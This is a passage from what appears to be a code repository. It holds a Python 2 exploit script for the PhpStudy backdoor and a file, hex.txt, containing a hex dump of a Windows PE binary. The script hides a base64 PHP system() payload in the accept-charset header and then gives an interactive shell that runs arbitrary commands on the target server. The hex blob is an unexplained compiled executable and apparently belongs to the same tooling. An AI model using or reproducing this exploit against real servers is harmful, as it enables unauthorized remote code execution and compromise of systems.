10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0", 49 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 50 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 51 | "Connection": "close", 52 | "accept-charset": "%s"%payload, 53 | "Accept-Encoding": "gzip,deflate", 54 | "Upgrade-Insecure-Requests": "1" 55 | } 56 | r =requests.get(url,headers=headers) 57 | if r.status_code ==200 and "5.4" in r.text or '5.2' in r.text: 58 | print "\n>>>>PhpStudy Backdoor Vuln Exit! \n\n>>>>Current php_version =%s" % r.text.split('\n')[0] 59 | print "\n>>>>Server= %s" % r.headers.get('Server') 60 | command_exec(url) 61 | else: 62 | "No BackDoor Exit!" 63 | 64 | 65 | def command_exec(url): 66 | while 1: 67 | cmd = raw_input("\n>>>Command= ") 68 | if cmd == "exit": 69 | break 70 | else: 71 | payload = base64.b64encode("system('%s');echo md5('phpstudy');"% cmd) 72 | headers = { 73 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0", 74 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 75 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 76 | "Connection": "close", 77 | "accept-charset": "%s" % payload, 78 | "Accept-Encoding": "gzip,deflate", 79 | "Upgrade-Insecure-Requests": "1" 80 | } 81 | r1 =requests.get(url,headers=headers) 82 | if r1.status_code ==200 and '8d92c91875122d5471066f7bba32d8da' in r1.text: 83 | print "___________________________________________________\n\n%s\n___________________________________________________" % r1.content.split('8d92c91875122d5471066f7bba32d8da')[0] 84 | else: 85 | "Command EXEC Fail!" 86 | 87 | if __name__ == '__main__': 88 | # url = "http://172.16.9.174/" 89 | url = sys.argv[1] 90 | check_phpversion(url) 91 | -------------------------------------------------------------------------------- /hex.txt: -------------------------------------------------------------------------------- 1 | 4d5a90000304ffff0000b800400000f80e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400bc278c8bf846e2d8f846e2d8f846e2d8835aeed8fa46e2d87b5aecd8f946e2d89759e8d8fd46e2d89759e6d8fa46e2d83b49bfd8fc46e2d8f846e3d89f46e2d8f13e71d8fb46e2d81059e8d8f546e2d81059e6d8f946e2d852696368f846e2d8504500004c0104002721e7550000e0000e210b01060000a09047a410b00000100010140004000040010000100200001000001000100000101040c000004c20b7000064003001002808b00000900100002e74657874169510a0100000200000602e726461746100008c10b020b00000400000402e64617461cc5ad050d00000400000c02e72656c6f63000060093001000010200100400000420000b8c8e50010c3909090909090909090908b4424085657506838e800106a0068a0100010ff1588b100108b3570b0001068a02a0110a340130110ffd668b02a0110ffd66a00ff1574b0001050ff1578b000108b357cb0001083c420ffd699b907f7f98bfa83c703ffd699b907f7f983c2030faffaffd699b932f7f98b0d10d000108d4417035f03c8a314d00010890d10d0001033c05ec3908b44240485c074148b0085c0740e8b4c24085150e80783c408c3909090568b74240885f60f84828b460850e8fa7e00008b0683c40480780c03760a50ff1570b1001083c4048b06538b1d74b10010558b48108b6c2414f7c1fcffffff5774075550ffd383c4088b0e8b3d80b1001051ffd78b460483c40480780c03760a50ff1570b1001083c4048b4604f74010fcffffff74075550ffd383c4088b560452ffd756ffd783c4085f5d5b5ec390909090909090909090909090909056ff1564b10010e8548300008b3568b100105068c4e800106a02ffd6683ce6001068ace800106a02ffd668a0e800106898e800106a02ffd66874e800106868e800106a02ffd66858e800106848e800106a02ffd683c43cff156cb100105ec39083ec208d442400578b7c243c8d4c243c508d54242c518b4c24308d442410525068e8e800105751c744242000c744242400ff155cb1001083c41c83f8ff0f840b0100008b542404568d4424105250e8070100008b44244483c40885c00f84a9e8336b00008bf085f60f849a8d4c24185156e8ae6c00008b44241483c40885c0750d6a0256e8cb6b000083c408eb125056e87f6b00006a0156e8b76b000083c4108b4424408a480c84c974115750e8b20600005056e8cb6b000083c410556a0056e8ef6c00008be883c40885ed742b8bfd83c9ff33c0f2ae8b7c2434f7d1495155894f04ff1560b10010558907c6470c06ff156cb0001083c40c6a0156e8c36a000083c4085d8b7c2420bedce800108bc78a108aca3a16751c84c974148a50018aca3a5601750e83c00283c60284c975e033c0eb051bc083d8ff85c05e740a57ff1580b1001083c4045f83c420c390909090909090518b44240853555685c0570f84f60500008b6c241cb90185edc70000894804894814c74010dce80010c7400802c7400c1a0f84c4050000807d0c040f85ba0500008b4d008b1d48b100108d44241c506a0c6878e9001051ffd383c41085c00f85908b54241c8b0280780c060f85808b38be74e900108bc78a108aca3a16751c84c974148a50018aca3a5601750e83c00283c60284c975e033c0eb051bc083d8ff85c0750c8b442418c70001eb3ebe20e800108bc78a108aca3a16751c84c974148a50018aca3a5601750e83c00283c60284c975e033c0eb051bc083d8ff85c0750a8b442418c700008b55008d4c241c516a0a6868e9001052ffd383c41085c00f85d68b44241c8b0080780c060f85c68b38be58e900108bc78a108aca3a16751c84c974148a50018aca3a5601750e83c00283c60284c975e033c0eb051bc083d8ff85c075108b442418c7400800e980be48e900108bc78a108aca3a16751c84c974148a50018aca3a5601750e83c00283c60284c975e033c0eb051bc083d8ff85c0750d8b442418c7400801eb3fbe40e900108bc78a108aca3a16751c84c974148a50018aca3a5601750e83c00283c60284c975e033c0eb051bc083d8ff85c0750b8b442418c74008028b55008d4c241c516a086838e9001052ffd383c41085c00f85f08b44241c8b0880790c060f85e08b542418be44e60010c74204008b008b388bc78a108aca3a16751c84c974148a50018aca3a5601750e83c00283c60284c975e033c0eb051bc083d8ff85c075108b442418c7401401e98dbe30e900108bc78a108aca3a16751c84c974148a50018aca3a5601750e83c00283c60284c975e033c0eb051bc083d8ff85c0750d8b442418c7401402eb4cbe24e900108bc78a108aca3a16751c84c974148a50018aca3a5601750e83c00283c60284c975e033c0eb051bc083d8ff85c0750d8b442418c7401403eb0b8b4c2418c74104018b45008d54241c526a096824e8001050ffd383c41085c0751f8b4c241c8b0180780c0675138b1052ff154cb100108b4c241c83c4048941108b45008d54241c526a096818e9001050ffd383c41085c00f85b20200008b54241c8b028a480c80f9040f85770100008bc86a008b1152ff1550b100108b4424208b2d54b100108b1d58b1001083c408c7400c008b54241c8d4c24106a00518b028b0851ffd583c40c85c00f855c0200008b5424108b0280780c060f850e0100008b3885ff0f8404010000be10e900108bcf8a018ad03a06751c84d274148a41018ad03a4601750e83c10283c60284d275e033c9eb051bc983d9ff85c9750f8b4424188b480c83c920e9bebe04e900108bcf8a018ad03a06751c84d274148a41018ad03a4601750e83c10283c60284d275e033c9eb051bc983d9ff85c9750c8b4424188b480c83c908eb7ebef8e800108bcf8a018ad03a06751c84d274148a41018ad03a4601750e83c10283c60284d275e033c9eb051bc983d9ff85c9750c8b4424188b480c83c910eb3ebef0e800108bc78a108aca3a16751c84c974148a50018aca3a5601750e83c00283c60284c975e033c0eb051bc083d8ff85c0750d8b4424188b480c83c90289480c8b44241c6a008b088b1152ffd383c408e9b0feffff80f9060f85200100008b38be10e900108bc78a108a1e8aca3ad3751e84c974168a50018a5e018aca3ad3750e83c00283c60284c975dc33c0eb051bc083d8ff85c075118b4424185f5e5dc7400c205b59c3be04e900108bc78a108a1e8aca3ad3751e84c974168a50018a5e018aca3ad3750e83c00283c60284c975dc33c0eb051bc083d8ff85c075118b4424185f5e5dc7400c085b59c3bef8e800108bc78a108a1e8aca3ad3751e84c974168a50018a5e018aca3ad3750e83c00283c60284c975dc33c0eb051bc083d8ff85c075118b4424185f5e5dc7400c105b59c3bef0e800108bc78a108a1e8aca3ad3751e84c974168a50018a5e018aca3ad3750e83c00283c60284c975dc33c0eb051bc083d8ff85c0750b8b442418c7400c025f5e5d5b59c39090908b4424088b4c2404506a00516a00e80d83c410c39090909090909090908b44240883ec145533ed85c00f84930300008d4c2404896c24045150e8bf2000008b4c240c83c40885c90f847503000083c0feba063bc20f8765030000ff2485fc1c00108a410c84c07524e8ed6700008be8e8267900008b54241c506a005255e81868000083c4108bc55d83c414c38b41048b098b54241c505152e8fd72000083c40c8be85d83c414c338510c740e51ff151cb100108b4c240883c4048b018b4c241c5051e84372000083c4088be85d83c414c351ff1520b100108b5424088b4c24208b025051e8316c000083c40c8be85d83c414c351ff1524b100108b5424088b4c24208b025051e8cf6b000083c40c8be85d83c414c351ff1528b100108b4424088b4c24208b50048b00525051e8c972000083c4108be85d83c414c338510c740e51ff151cb100108b4c240883c4048b51048b018b4c241c525051e82b6b000083c40c8be85d83c414c38a410c3c0475048b01eb133c0575378b4424288b51045051ff523883c40885c0742480782501761e8b4c24286888e900106a01516a00ff152cb1001083c41033c05d83c414c3566a18ff1530b1001089442428c74010008b542428b80183c4048942088b4c2424c6410d008b5424088b7424248b0a890e8b4c24248b52048951048b5424088a4a0c8b542424884a0c8b4c24248941088b542424c6420d008b44242480780c03760e50ff1534b100108b44242883c40450ff1538b100108b4424288b0851e8b20100008b542428505289442420e8236800008be88b4424346a008b0851ff1550b100108b44243c8d5424246a00528b0851ff1554b1001083c42485c00f85390100008b74242853578b4c242c6a008d5424206a00528b118d44242c6a005052ff153cb100108bd883c41885db0f8ed983fb020f8fd08b4424148b008a480c80f90475758b3885ff7403fe472583fb020f85858b442418c74424280083f801741a8b44241c8d4c2428506884e900106a0051ff1540b1001083c4108b5424348bc6528b54242c508b44241c468b085152e805fdffff5055e89e6700008b44244083c41885c0745250ff1580b1001083c404eb4680f90575168b5424348b48045250ff513883c4088bf8e972ffffff33ffe972ffffff8b4c24348b5424148bc6518b4c2424508b02465051e8abfcffff5055e84467000083c41885ff7403fe4f258b54242c6a008b0250ff1558b100108b5424348d4c241c6a00518b0250ff1554b1001083c41485c00f84cffeffff5f5b8d4c242451ff1544b1001083c4045e8bc55d83c414c397190010071a0010dd1900104b1a0010291a0010711a00109f1a001090909090909090905153558b6c2410565733ff575533db33f6ff1550b1001083c4088d4424188d4c24106a006a00506a005155ff153cb1001083c41883f802752585f675518b44241885ff76078d50ff3bfa752d6a0055bb018bf8ff1558b10010ebb983f803741b83f801750685db75228bf06a0055ff1558b10010eb9ebe01f7de1bf65f83e602468bc65e5d5b59c35f5e5db8025b59c3909090909090908b4c2404538d44241c568b7424205068b4e900105651ff155cb1001083c41083f8ff74628b44241c85c0745a8b542420568b0250e837fbffff8bd86a0053e83d61000083c4108bf085db743a85f6742d578bfe83c9ff33c0f2ae8b7c2414f7d1495156894f04ff1560b10010568907c6470c06ff156cb0001083c40c5f53e84d68000083c4045e5bc390909090909090518b442410c74424000085c0894424107508c7442410dce800108b4c240c8b5424088d44241053505152e86e6100008bd883c40c85db0f849a565753e8f95f000050e8935389442418e8995f000083c40c83f80175668b74242085f6745e53e8535f00008bf883c40485ff7431807e0c03760a56ff1570b1001083c40457c6460c06ff154cb1001089068bf883c9ff33c083c404f2aef7d149894e04eb1e8b44240c85c074168d44240c50ff1544b1001083c404c744240c006a0153e8735e00008b44241483c4085f5e5b59c38b4424045b59c351578b7c240c33c085ff0f844c010000555657e8c86f00008be86a18896c2414ff1530b100108bf08d45ff83c40883f807c7461000c7460801c6460d000f8701010000ff248590200010c6460c00e9f157e8e16d00008be883c40485ed0f84de57e8ee6d00005055894604ff1560b1001083c40c8906c6460c06e9bf57e8df6d000083c4048906c6460c01e9ab57e8eb6d000083c4048906c6460c03e99757e8f76d0000dd1e83c404c6460c02e98357e8936d000083c4048946045057e8366e000083c40450ff1560b1001083c4088906c6460c06eb5b57e8db6d0000e965ffffff6a0056ff1518b1001057e8776e00008be883c40c85ed743855e8e8feffff83c4048944241485c074188d4424145055e8026e000083c4045056e84883c40c57e86f6e00008be883c40485ed75c88b4c240c5156e8bb17000083c4088bc65e5d5f59c390801f00101f200010cf1f0010f71f0010e31f0010bb1f0010891f00102a20001053558b6c240c5685ed570f84a48b5c241c85db0f84988b74241885f674758bfe83c9ff33c0f2aef7d14983f9017e05803e3074396a006a006a005156e80902000083c4143c0175256a006a0056ff1568b000106a016a006a0453508b450050ff1510b1001083c4245f5e5d5bc38bfe83c9ff33c06a01f2ae6a006a04f7d153518b4d005651ff1514b1001083c41c5f5e5d5bc38b55006a046a006a04536a0052ff1510b1001083c4185f5e5d5bc35f5e5d33c05bc3909090909083ec0c568d442404578b7c242c8d4c240c508d542430518d442420528b5424248d4c241c505168b8e900105752c744242c00c744242800ff155cb1001083c42083f8ff74718b44242885c074698b44242c8b542408f7da8b088b442418518b4c24101bd223d18b4c2414525051e868fcffff8bf083c41085f6743b8b44241c8bd68b0a89088b4a048948048b4a088948088b520c89500c8b4610a9fcffffff740b5756ff1574b1001083c40856ff1580b1001083c4045f5e83c40cc3909090909090909090909090909083ec08568d442404578b7c24288d4c240c508d54242c518b4c241c8d44241c525068c0e900105751c744242800c744242400ff155cb1001083c41c83f8ff746c8b44242485c074648b5424088b4c240c8b4424286a00f7da1bd223d18b4c2418525051e8a2fbffff8bf083c41085f6743b8b4424188bd68b0a89088b4a048948048b4a088948088b520c89500c8b4610a9fcffffff740b5756ff1574b1001083c40856ff1580b1001083c4045f5e83c408c390909090909090908b4424148b4c24108b54240c6a00508b442410518b4c2410525051e81083c418c390909090909090909090909083ec10538b5c241c555633f6b90a3bde57894c2414897424100f84fb0200008b4424383bc6740289308b6c24248a45003c2074143c0974103c0a740c3c0d74083c0b74043c0c7504454bebe18bd5895c2428895424248a45003c2d74043c2b75078d5501895424248a028b7c24343c307c403c397f3c83fb027e21807d0030751b8a45013c7874043c587510b91083c202894c241489542424803a30750a4289542424803a3074f6b301e9a23c2e0f85600200008a42013c300f8c550200003c390f8f4d0200008b442430b30285c0741c8d4424245055ff1578b10010dd5c24208b54242c83c408e92e01000083ff010f842501000083feff0f841c0100008a0a4280f92e89542424be017405be028b4c24148a023c307c043c397e1d83f910753c3c417c043c467e103c610f8ca03c660f8f988b44241040428944241089542424837c24100b7cc48b44243085c0754f83ff01744aebb583f90a756f8a023c2e750983fe010f8c4fffffff3c6574043c45753183fe027d2c8a4a018d420180f92d740580f92b75078bd040895424248a003c307c0f3c390f8e1dffffffeb0583f90a7527837c24100b7c638b44243885c074108a4d0080e92df6d91bc983e10249890883ceffe9effeffff8b44241083f8087c3a83f8087506807af8377e2f8b44243085c074178d5424245255ff1508b10010dd5c24208b54242c83c4088b44243885c07406c70001b3028b4424288d0c283bd1742185ff0f84e683ffff751468c4e900106a08ff150cb100108b54242c83c40880fb010f85a5837c24100a7579be90b100108d42f68a108a1e8aca3ad3751e84c974168a50018a5e018aca3ad3750e83c00283c60284c975dc33c0eb051bc083d8ff85c07c407506807d002d74388b74243085f6740e6a0055ff1578b10010dd1e83c4088b44243885c074108a4d0080e92df6d91bc983e1024989085f5e5db0025b83c410c38b74242c85f674138b542414526a0055ff1568b0001083c40c89065f5e5db0015b83c410c38b44243085c0740d8b4c24188b54241c89088950045f5e5db0025b83c410c35f5e5d32c05b83c410c39090909090909090908b4424188b4c240468842801105051ff155cb1001083c40c83f8ff0f84908b44241485c00f8484535556578b3d30b100106a0cffd76a188be8ffd78bf0bb016a18c7461000895e08c6460d00ffd78bf86a0056895f088b1d18b10010c7471000c6470d00ffd36a0057ffd3897500897d04e8bb68000068a027001050894508e82d7c00008b54244ca1401301108b4c243c52505551ff1500b1001083c4345f5e5d5bc390909090909090909090909090908b4c2404568d44241c578b7c24205068f0e90010575183ceffff155cb1001083c41083f8ff744b8b4424208d54240c57528b0851ff15f8b0001083c40c85c074208b54240ca1401301103bd075138b442420578b0851ff15fcb0001083c4088bf08b44241033d285f60f94c28910c6400c015f5ec3909090909090909090909083ec345556576a006a00ff15e4b000108b6c24508bf06a008b45088b4d10894424208b51048b0250ff1550b100108b3d2cb1001083c4108b55108d4c24106a00518b42048b0851ff1554b1001083c40c85c00f857c0100008d54240c5652508b44241c8b0851ff15e8b0001083c41084c00f84470100008b4c24108d54241456528b118d4424206a0150a1ecb00010528b166a008b088b448afc8b88a451ff15f0b0001083c41c85c00f85f633d2894424288a4424248954242c895424303c0689542434895424388954243c740e8d44241850ff151cb1001083c4048b5424188d4c24285152e82f7800008be883c40885ed74308b4424445550e86b78000083c40885c075138b4c240c5168e4ea00106a025650ffd783c41455e8cb5d000083c404eb418b44242c85c074258b54240c8b4424308b4c2434528b54243c5051526878ea00106a02566a00ffd783c420eb148b44240c506844ea00106a02566a00ffd783c414807c242403760e8d4c241851ff1570b1001083c4048b6c24488b4c240c51ff1580b100108b55106a008b42048b0851ff1558b1001083c40ce98ffeffff8b54240c526814ea00106a02566a00ffd783c414ebc68b44240c5068f4e900106a02566a00ffd783c414ebb08b55108b42048b0851ff15f4b0001083c4045f5e5d83c434c390909083ec108d4424148d4c240c8d542400568b74242c50518b4c24208d44241052506834eb00105651ff155cb1001083c41c83f8ff0f84e18b4424088d54240c56528b0851ff15f8b000108b5424188bf0a14013011083c40c3bd00f85aa8b4424048b4e0868b02a00105051e88b66000083c40c85c00f848c576a18ff1530b1001033c9894424348948108b5424208b7c243483c4048b028b1089178b5424308b40045f8942048b4424188b108a420c8b54242c88420c8b44242cc74008018b54242c884a0d8b44242c80780c03760a50ff1534b1001083c4048b4c24048b168d44242c505152e82af6ffff8b44242883c40cc70001c6400c035e83c410c38b44241cc70000c6400c035e83c410c39083ec1856576a006a00ff15e4b000108b7424348b3d70b100108944241883c4088b0680780c03760650ffd783c4048b460c80780c03760650ffd783c404538b5c242c5553e8175300008bd083c9ff8bfa33c0f2ae8b2ef7d1495152894d04ff1560b1001053894500c6450c06e86f53000050e809f4ffff894424248b068d4c24288b50048b00518b4e1042528b11508b0250ff1548b1001083c42485c05d5b75098b4c240c8b118956048b068b4c24088b7c24108b5608894424148d442414894c24188b4e0c57895424208b560450a1ecb000106a0351528b088b176a008b448afc8b88a451ff15f0b000108d542424c646140152ff1544b100108b460c5750e878edffff83c4285f5e83c418c39090909090909090909090909090908b54240483ec088d44240c8d4c2400568b74242450516838eb00105652ff155cb1001083c41483f8ff0f84c38b4c24048d44240856508b1152ff15f8b000108b0d401301108bf08b44241483c40c3bc10f858b6a18ff1530b1001089442428c74010008b4c241483c4048b118b4c24248b0289018b4424248b52048950048b4c24108b118b4c24248a420c88410c8b542424c74208018b442424c6400d008b44242480780c03760a50ff1534b1001083c4048b56048d4c2424516a0052e812f4ffff8b44242083c40cc70001c6400c035e83c408c38b442414c70000c6400c035e83c408c390909090909090909083ec5033c0538944242856894424308b74245c894424348d4c240889442438578b7c2474894424408d542428518d442424528d4c242c508d5424205152683ceb001033db5756895c244c895c242cff155cb1001083c42085c00f85b602000083fe0375088d4424445350eb0a8b4c240c8d5424445152e8d5e5ffff8b4c241c83c4088d4424188b11575052ff15f8b000108b0d401301108bf08b44242483c40c3bc10f856d0200008b4c24548b4424208d54241c894c241c8b4c2424525051e85c52000083c40c3bc3894424600f84420200005550e8665000008b3d30b100106a188be8ffd7894424388958108b5424386a18c74208018b44243c88580dffd7894424488958108b4c2448c74108018b542448885a0d8b44244888580c8b4c243c88590c8b5424388d4c243c8b028b54247089442444885c24508974244c8b4608515250e8516400008bf08b44246083c4183bf3744e3bc3744a8b44243c80780c03760e50ff1570b100108b44244083c404f74010fcffffff74138b4c24785150ff1574b100108b44244483c40850ff1580b1001056e8bff0ffff83c4088944243ceb2a385c244474203bc30f85c13bf375228b5424788b44243c5250e895eaffff83c4088bf08b44243c395c24480f859fe8ad4e00008bf83bfb0f84bd8b44244c895c24143bc374188b4c246451e85d50000083c4043bc374078b500c8954245c8d4424505057e8045000006a0257e82c4f00005657e8554f00005557e8de4e00008d4c24345157e8735000008be883c4283beb74278b4424148b5424685055894204ff1560b100108b4c2470558901c6410c06ff156cb0001083c40c5357e84c4e000083c408eb318b44243c8b4c24688b388bd1893a8b7804897a048b7808897a088b400c89420c8a410c3c03760a51ff1534b1001083c4048d4c243051ff1544b100108b44244083c4048a480c5d80f903760e50ff1570b100108b44243c83c404f74010fcffffff74138b5424745250ff1574b100108b44244083c40850ff1580b1001083c4043bf3740956e8bd56000083c4048b4424606a0150e8ae4d000083c4085f5e5b83c450c390909090518b542408568b7424208d442404578d4c242450516844eb00105652ff155cb1001083c41483f8ff746b8b4c24248d44241056508b1152ff15f8b000108b0d401301108bf88b44241c83c40c3bc175378b4c24085651e8e5e8ffff8bf083c40885f674238b57085652e8b2700000568bf8e82a5600008b44242083c40c89385fc6400c015e59c38b442414c70000c6400c015f5e59c39090909090909083ec1c8b5424208d4424008d4c24345556578b7c244050516810ec00105752ff155cb1001083c41483f8ff0f84f38b44243c85c00f84e78b54244033c0894424148d4c24108944241851894424205289442428c7442418008944242ce8c66f00008be883c40885ed745f55e827eeffff83c4048944242c85c0743e8b7424308b08538a5e0d8b7e08890e8b50048956048a400c3c0388460c760a56ff1534b1001083c4048d44243050ff1544b1001083c404885e0d897e085b55e83855000083c4045f5e5d83c41cc38b44241485c074268b4c24188b54241c8b4424208b352cb1001051525068b4eb00106a02576a00ffd683c41ceb158b352cb100106878eb00106a02576a00ffd683c4106848eb00106a02576a00ffd683c4105f5e5d83c41cc390909090905657bfec27011083c9ff33c08b742410f2aef7d1495168ec270110894e04ff1560b1001083c4088906c6460c065f5ec3558bec81ec9c010000535657b92c33c08dbd65feffffc68564feffff008b7510f3ab66ab8b16aaa1b8b000108b088b448afc8a80d284c07411566a07689cec0010ff15d8b0001083c40c8b15dcb000108d4dd8518b0e8b028b1d48b100106a08689cec00108b5481fc81c2d852ffd38d45f0bf9cec00105083c9ff33c0f2ae8b06f7d1518b0ddcb00010689cec00108b118b4c90fc81c1d851ffd383c42083f8ff0f84820100008b55f08d4ddc51bf84ec00108b0283c9ff8b1033c0f2aef7d1516884ec001052ffd383c41083f8ff0f84540100008b55dcbe74ec00108b028b388bcf8a118ac23a16751c84c074148a41018ad03a4601750e83c10283c60284d275e033c0eb051bc083d8ff85c00f85ae0100008d4df0bf9cec00105183c9fff2ae8b15dcb00010f7d18b02518b4d10689cec00108b118b4482fc05d850ffd383c41083f8ff0f84da8b4df08d45e850bf60ec00108b1183c9ff33c0f2ae8b12f7d1516860ec001052ffd383c41083f8ff0f84ac8b4de833c08b1183c9ff8b128bfaf2aef7d1495152e81d0d000083c4088945f485c00f8484a1dcb000108b55106a008b088b028d9518ffffff8b4488fc8b88280100008990280100008d8518ffffff894de050e8bc6f00008b75e083c40885c0751a8b4d108b55f45168842801106a0052ff15e0b0001083c410eb16a1dcb000108b55108b088b028b4c88fc89b1280100008b15dcb000108b4d108b028b118b4482fc89b028010000a1b02a01108b15a02a01108b0d10d000108b1d70b000102bc23bc10f8ca10200003d701700000f8d96020000bfb827011083c9ff33c0f2aef7d149750d68b8270110e81410000083c404bf8427011083c9ff33c0f2aef7d149750a6884270110e8f60e0000bfec27011083c9ff33c0f2aef7d149750d68ec270110e83b10000083c404bf84280110b928d00010897df833c08bf1e93e010000be50ec00108bc78a108a1e8aca3ad3751e84c974168a50018a5e018aca3ad3750e83c00283c60284c975dc33c0eb051bc083d8ff85c00f852bffffffbf84280110b96cd60010897dfc8bf1eb038b7dfc833e277515c604075c8b7dfc8a118854070183c00283c608eb098a118814074083c60483c10481f9c4e500107ccf8b3540b10010688427011068b8270110683cec00108d45e46a0050ffd68b4dfc8b55e4516818d00010526828ec00108d45fc6a0050ffd68b0ddcb000108b45106a008b118b088b4491fc8d4d988b90280100008988280100008955f48d559852e8ef6d00008b7df483c43485c0751a8b75108b45fc5668842801106a0050ff15e0b0001083c410eb178b0ddcb000108b75108b118b068b4c90fc89b9280100008b15dcb000108b0e8b028b5481fc33c089ba280100005f5e5b8be55dc38b7df8833e277515c604075c8b7df88a118854070183c00283c608eb098a118814074083c60483c10481f96cd600107ccf8b45f88d4df8506818d000106814ec00106a0051ff1540b100108b15dcb000108b4d106a008b028b118b4482fc8d9558ffffff8b88280100008990280100008d8558ffffff894dec50e8186d00008b7dec83c41c85c0751a8b75108b4df85668842801106a0051ff15e0b0001083c410eb178b15dcb000108b75108b028b0e8b5481fc89ba28010000a1dcb000108b168b088b448afc89b8280100008b0d10d00010b8100e00003bc87d0803c8890d10d0001068a02a0110ffd383c40468b02a0110ffd3a1a02a011083c40485c07d0a68a02a0110ffd383c4045f5e33c05b8be55dc390909033c0c390909090909090909090909090e81b8b4c240885c975088b4c24048b0488c38b448824c3909090909090a124e6001085c00f8487b8fcec0010c70548130110f4ec0010a344130110c7054c130110ecec0010c70550130110e4ec0010c70554130110d8ec0010c70558130110d0ec0010c7055c130110ccec0010c70560130110c4ec0010c70564130110bcec0010a368130110c7056c130110b4ec0010c70570130110acec0010c70574130110a4ec0010c70524e6001000b844130110c390909090909053555657e857ffffff8b5c241485db743e33ed8bf88b0f8bf38a018ad03a06751c84d274148a41018ad03a4601750e83c10283c60284d275e033c9eb051bc983d9ff85c974104583c70483fd097cc65f5e5d33c05bc35f8bc55e5d5bc3909090515355565783cfff6a006a00897c2418ff15e4b000108b7424208bd883c408807e0c060f85bf0100008b6c241c83fd02740983fd040f85ad0100006a0055e89dfeffff6a188bf8ff1530b1001089442424c74010008b44242457c74008018b4c2428c6410d008b542428c6420c06ff154cb100108b4c242883c410890183c9ff33c08b542418f2aef7d14983fd04894a040f85140100008b06506a00e8595300008be883c40885ed0f84e56a0055e84455000083c40450ff1504b100108bf883c40883ffff0f84a46a18ff1530b1001089442420c74010008b4c242056c74108018b542424c6420d008b442424c6400c018b4c24248939ff157cb1001083c4088b46048d5424186a016a006a04526a0c6810ed00105356ff50388b3d14b1001083c40850ffd783c41c85c075478b56046a01508d4c24246a04516a0a6804ed00105356ff523883c40850ffd783c41c8944241055e8e54c00008b44241483c4045f5e5d5b59c38d44241850ff1544b1001083c40455e8c44c00008b44241483c4045f5e5d5b59c38d4c241851ff1544b100108b44241483c4045f5e5d5b59c356ff157cb1001083c4048b46048d5424186a016a006a04526a0c6810ed00105356ff503883c40850ff1514b1001083c41c5f5e5d5b59c38bc75f5e5d5b59c353555633f6575656ff15e4b000108b7c241c83c40885ff8be80f849433c08a470c83f8097774ff2485243b0010be02eb66be03eb5fbe06eb58be05eb51be07eb4abe08eb438b4f048d442414506a0c6810ed00105557be08ff513883c40850ff1548b1001083c41085c075198b5424148b0280780c06750d8b0050e818fdffff83c4048bf08b5c241885db740e83fe0275108a470c84c0750e893b8bc65f5e5d5bc383fe0475f28b57048d4c2414516a07681ced00105557ff523883c40850ff1548b1001083c41085c075cf8b4424145f8b088bc65e890b5d5bc390603a00106e3a0010753a0010673a0010833a00108a3a00107c3a00106e3a00107c3a0010833a001090909090518d4424008d4c241c508b4424208d54240c518b4c2410526854ed00105051ff155cb1001083c41883f8ff74588b54241c52e859fcffff83c40485c07424508b44240c8b0851e8a5fcffff83c40885c075258b44240cc70001c6400c0359c38b54241c526824ed00106a02ff150cb1001083c40c8b44240cc70000c6400c0359c39090909090909090908b4c2404538b5c241c8d44241c565068b4e90010535133f6ff155cb1001083c41083f8ff746c8b54242057568b0250e81cfeffff8bf883c40883ff0875268b4c24248b0180780c05750d8b50045350ff523883c408eb028b0050e8e1e0ffff83c4048bf05657e8d5faffff8bd083c9ff8bfa33c0f2ae8b74241cf7d1495152894e04ff1560b1001083c4108906c6460c065f5e5bc390909090909090909090908b4c24188b5424048d44241856506870ed00105152ff155cb1001083c41083f8ff745c8b4c241c8b3548b100108d4424088b11506a0a6864ed001052ffd683c41085c0752c8b4c241c8d442408506a0c8b116858ed001052ffd683c41085c075108b44240c5ec70001c6400c03c38b44240cc70000c6400c035ec3909090909090909090909090909090568b7424086800020000c7460400020000ff1560b000108906c600008b0683c404894608c7460c005ec39090908a4c2408568b7424088b460888088b4e088b460c4140894e0889460c8bc88b46043bc8751f8b1605000200005052894604ff155cb000108b4e0c83c40803c88906894e085ec390909090909090909090568b7424088b0650ff156cb0001083c40433c089460489460c89460889065ec383ec0c53558b6c2418565755c74424140033dbe845ffffff83c40433c08ac88ad080c14180c2618888882801108890a22801104083f81a7ce433c08ac880c1308888bc2801104083f80a7cef8b7c2424c605c62801102bc605c72801102fc644241600c644241500c64424140033d20fbe078b4c242847433bd97f0c884414144283fa037ce9eb08c74424100185d20f8eaa8b44241425ff8bc883e003c1e902c1e0048a8988280110884c24208b4c241581e1ff8bf183e10fc1ee040bf0c1e1028a8688280110884424218b44241625ff8bf083e03fc1ee068a80882801100bf183fa03884424238a8e88280110884c24227d0f83fa02c64424233d7d05c64424223d33f68a4c34205155e86efeffff8b450cb94899f7f983c40885d2750b6a0a55e854feffff83c4084683fe047cd28b44241085c00f8410ffffff6a0a55e837feffff83c4085f5e5d5b83c40cc390909090909090909090909083ec108b4424145355565733f65089742418e8d9fdffffb93fb880808080bf8828011083c404f3ab66abaab8418ac880e9418888882801104083f85a7eefb8618ad080ea478890882801104083f87a7eefb8308ac880c1048888882801104083f8397eef8b6c2428c605b32801103ec605b72801103fc605c5280110008974241833f60fbe5d008b4424148b4c242c45403bc1894424147e08c7442418018b1550b00010833a017e0e6a0853ff1554b0001083c408eb0da158b000108b088a045983e00885c075b883fb0a74b383fb0d74ae8b44241885c00f85968a8388280110a88074034eeb08885c341c884434104683fe047c878b4424108ad48ac8c0ea04c0e1020ad18a4c2412885424288ad18ac4c0ea02c0e0040ad08a44241e885424298a542413c0e1060aca3c3d884c242a7507bf01eb118a54241f33c080fa3d0f95c083c0028bf833f685ff7e178a4434288b4c2424505146e8adfcffff83c4083bf77ce983ff030f8d0affffff5f5e5d5b83c410c390909090905153568b742414578bc633c99983e20333db03c2b23dc1f802894c24188d3c408b442414385430ff750cc7442418018b4c2418385430fe750541894c2418385430fd750541894c241883f9037714ff248dbc41001083c704eb0883c703eb0383c70257ff1560b000108bd083c40485d28954240c75055f5e5b59c38bcf558be933c08bfac1e902f3ab8bcd8bea83e103f3